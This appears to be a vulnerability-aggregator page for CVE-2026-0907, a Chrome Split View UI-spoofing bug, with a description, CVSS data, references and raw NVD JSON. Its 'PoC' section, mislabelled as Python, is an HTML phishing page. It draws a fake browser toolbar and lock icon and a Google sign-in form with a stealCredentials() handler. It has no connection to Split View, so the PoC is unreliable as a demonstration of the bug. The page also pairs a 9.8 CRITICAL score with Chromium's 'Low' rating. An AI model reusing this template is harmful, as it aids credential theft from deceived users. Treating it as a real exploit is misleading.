CVE-2026-0907

Description

Incorrect security UI in Split View in Google Chrome prior to 144.0.7559.59 allowed a remote attacker to perform UI spoofing via a crafted HTML page. (Chromium security severity: Low)

CVSS Details

CVSS Score

9.8

Severity

CRITICAL

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:* - NOT VULNERABLE

Google Chrome < 144.0.7559.59

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- CVE-2026-0907 UI Spoofing PoC -->
<!-- This PoC demonstrates UI spoofing in Chrome Split View -->
<!DOCTYPE html>
<html>
<head>
    <meta charset="UTF-8">
    <title>CVE-2026-0907 UI Spoofing PoC</title>
    <style>
        body {
            margin: 0;
            padding: 0;
            font-family: Arial, sans-serif;
        }
        .spoofed-ui {
            position: fixed;
            top: 0;
            left: 0;
            width: 100%;
            height: 100%;
            z-index: 999999;
            background: rgba(255, 255, 255, 0.95);
        }
        .fake-toolbar {
            position: fixed;
            top: 0;
            left: 0;
            width: 100%;
            height: 60px;
            background: linear-gradient(to bottom, #f1f1f1, #e0e0e0);
            border-bottom: 1px solid #ccc;
            display: flex;
            align-items: center;
            padding: 0 15px;
            box-sizing: border-box;
            z-index: 1000000;
        }
        .fake-url-bar {
            flex: 1;
            height: 35px;
            background: white;
            border: 1px solid #dcdcdc;
            border-radius: 4px;
            display: flex;
            align-items: center;
            padding: 0 10px;
            font-size: 14px;
            color: #333;
        }
        .fake-lock-icon {
            margin-right: 8px;
            color: green;
        }
        .fake-content {
            margin-top: 80px;
            padding: 20px;
        }
        .fake-login-form {
            max-width: 400px;
            margin: 50px auto;
            padding: 30px;
            background: white;
            border: 1px solid #ddd;
            border-radius: 8px;
            box-shadow: 0 2px 10px rgba(0,0,0,0.1);
        }
        input[type="text"], input[type="password"] {
            width: 100%;
            padding: 12px;
            margin: 10px 0;
            border: 1px solid #ddd;
            border-radius: 4px;
            box-sizing: border-box;
        }
        button {
            width: 100%;
            padding: 12px;
            background: #4285f4;
            color: white;
            border: none;
            border-radius: 4px;
            cursor: pointer;
            font-size: 16px;
        }
        button:hover {
            background: #3367d6;
        }
    </style>
</head>
<body>
    <div class="spoofed-ui">
        <div class="fake-toolbar">
            <div class="fake-url-bar">
                <span class="fake-lock-icon">🔒</span>
                <span>https://www.google.com/accounts/signin</span>
            </div>
        </div>
        <div class="fake-content">
            <div class="fake-login-form">
                <h2 style="text-align:center; color:#333;">Sign in to Google</h2>
                <p style="text-align:center; color:#666;">To continue to legitimate-site.com</p>
                <input type="text" placeholder="Email or phone" id="email">
                <input type="password" placeholder="Enter your password" id="password">
                <button onclick="stealCredentials()">Sign In</button>
            </div>
        </div>
    </div>
    <script>
        function stealCredentials() {
            var email = document.getElementById('email').value;
            var password = document.getElementById('password').value;
            console.log('Stolen credentials - Email:', email, 'Password:', password);
            alert('Credentials captured by attacker!');
        }
    </script>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-0907
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-0907
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-0907/
[4] VulDB https://vuldb.com/cve/CVE-2026-0907
[5] https://chromereleases.googleblog.com/2026/01/stable-channel-update-for-desktop_13.html
[6] https://issues.chromium.org/issues/444653104

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-0907", "sourceIdentifier": "[email protected]", "published": "2026-01-20T05:16:16.217", "lastModified": "2026-01-29T20:27:46.380", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Incorrect security UI in Split View in Google Chrome prior to 144.0.7559.59 allowed a remote attacker to perform UI spoofing via a crafted HTML page. (Chromium security severity: Low)"}, {"lang": "es", "value": "Interfaz de usuario de seguridad incorrecta en Vista Dividida en Google Chrome anterior a 144.0.7559.59 permitió a un atacante remoto realizar suplantación de UI a través de una página HTML manipulada. (Gravedad de seguridad de Chromium: Baja)"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-451"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:*", "versionEndExcluding": "144.0.7559.59", "matchCriteriaId": "7322229C-61DF-4A91-9816-F7796F9AABCD"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*", "matchCriteriaId": "703AF700-7A70-47E2-BC3A-7FD03B3CA9C1"}, {"vulnerable": false, "criteria": "cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:*", "matchCriteriaId": "A2572D17-1DE6-457B-99CC-64AFD54487EA"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:*", "versionEndExcluding": "144.0.7559.60", "matchCriteriaId": "258B923C-054B-4411-9E82-36C89A6BE4C4"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:*", "matchCriteriaId": "387021A0-AF36-463C-A605-32EA7DAC172E"}]}]}], "references": [{"url": "https://chromereleases.googleblog.com/2026/01/stable-channel-update-for-desktop_13.html", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://issues.chromium.org/issues/444653104", "source": "[email protected]", "tags": ["Issue Tracking", "Permissions Required"]}]}}